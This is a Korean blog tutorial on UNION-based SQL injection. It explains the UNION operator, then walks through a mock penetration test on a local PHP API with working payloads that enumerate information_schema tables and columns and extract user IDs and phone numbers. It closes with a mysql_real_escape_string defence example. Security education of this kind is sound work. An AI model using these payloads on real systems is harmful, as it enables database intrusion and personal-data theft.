일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- jsp
- Spring
- Spring Boot
- 요리
- ubuntu
- Git
- Oracle
- ReactJS
- redis
- 맛집
- java
- elasticsearch
- Spring Batch
- db
- javascript
- it
- springboot
- tool
- JVM
- Design Patterns
- devops
- linux
- php
- laravel
- Web Server
- AWS
- IntelliJ
- Gradle
- MySQL
- jenkins
- Today
- Total
아무거나
SQL Injection 시나리오(UNION) 본문
SQL Injection 이란 웹 해킹 기법 중 하나이다. 프로그램의 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 하여 데이터베이스를 조작하는 코드 인젝션 공격 방법이다
해당 포스트에서는 SQL Injection 종류중 Union SQL Injection을 활용할 것이다.
Union SQL Injection은 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION이라는 SQL 연산자를 이용한 SQL Injection 공격을 말한다. 즉, 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻는다.
1. UNION 연산자
* 우선 UNION 연산자의 개념부터 파악하자.
(1) 예제 테이블(bkTbl1, bkTbl2 2개 테이블)
(2) UNION 연산자를 이용한 결과값
[sql]
SELECT * FROM bkTbl1 UNION SELECT * FROM bkTbl2
[결과값]
* 즉, 컬럼의 갯수가 같아야 하고 해당 결과 집합 컬럼은 호환되는 데이터 형식을 가져야 함.
결과 컬럼은 UNION의 첫 번째 SELECT 문의 컬럼 이름과 동일하다.
-> 참고로 ALL 옵션을 사용하면 결과에 모든 행이 포함되고 중복 행은 제거되지 않는다.
2. Union SQL Injection 모의해킹
해당 시나리오는 PHP로 개발되어있는 API기준으로 모의해킹을 시작한다. ( 해당 API는 SQL Injection 방어가 전혀 안되있는 사 )
ex) http://127.0.0.1/bong/modify/114?test=1 order by
ex2) http://127.0.0.1/bong/modify/114?test=1 and 0<>db_name() --
(1) 테이블 컬럼 개수 확인
(2) 알아낸 컬럼 개수로 테이블 정보 노출
* dep2_seq = 1 union select table_name,2,3, 4 from information_schema.tables --
API Response 결과 필드가 2개이므로(ex-seq, name) 첫 번째에 table_name을 넣어 1번째 결과 필드의 value값(=seq)으로 확인
-> 의심 테이블 추측하여 순서를 바꿔가며 동작시켜본다.
(3) 얻은 테이블 정보로 information_schema.columns와 column_name으로 컬럼 정보를 알아냄 ( (2)번에서 찾아낸 user_shard_config라는 테이블을 이용 )
-> 1 union select column_name,2,3, 4 from information_schema.columns where table_name = '{table_name}' --
(4) 얻은 정보들로 테이블을 조회한다.
-> 1 union select u_id,2,u_phone, 4 from user_shard_config – // API에서 표시해주는 결과 필드가 2개이므로 첫 번째에 table_name을 넣어 1번째 value 값으로 확인
3. SQL Injection 방어방법
언어별로 프레임워크를 이용하거나 직접 시큐어 코드를 작성하여 방어가 가능하다. PHP에서 코드이그나이터 기준으로는 액티브 레코드를 사용하면 된다. 하지만 레거시한 PHP 소스로 되어있는 경우(물론 프레임워크도 없다.) 방어가 안 돼있는 경우가 비일비재하다. 그 경우에 방어 함수 중 하나인 mysql_real_escape_string();를 사용하는 예제를 아래와 같이 참고하자.
// Connect $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password') OR die(mysql_error()); // Query $query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'", mysql_real_escape_string($user), mysql_real_escape_string($password));
해당 내용 외에도 계정 만들기, 시스템 정보, 계정 정보 추출, sql 서버 shutdown 등 여러 방법들이 많다.
참고로 공격자가 DB로부터 얻는 에러가 방대할수록 공격이 쉬워진다.
더 많은 방어방법을 알고 싶다면 ( http://www.cgisecurity.com/lib/advanced_sql_injection.pdf )를 참고하자.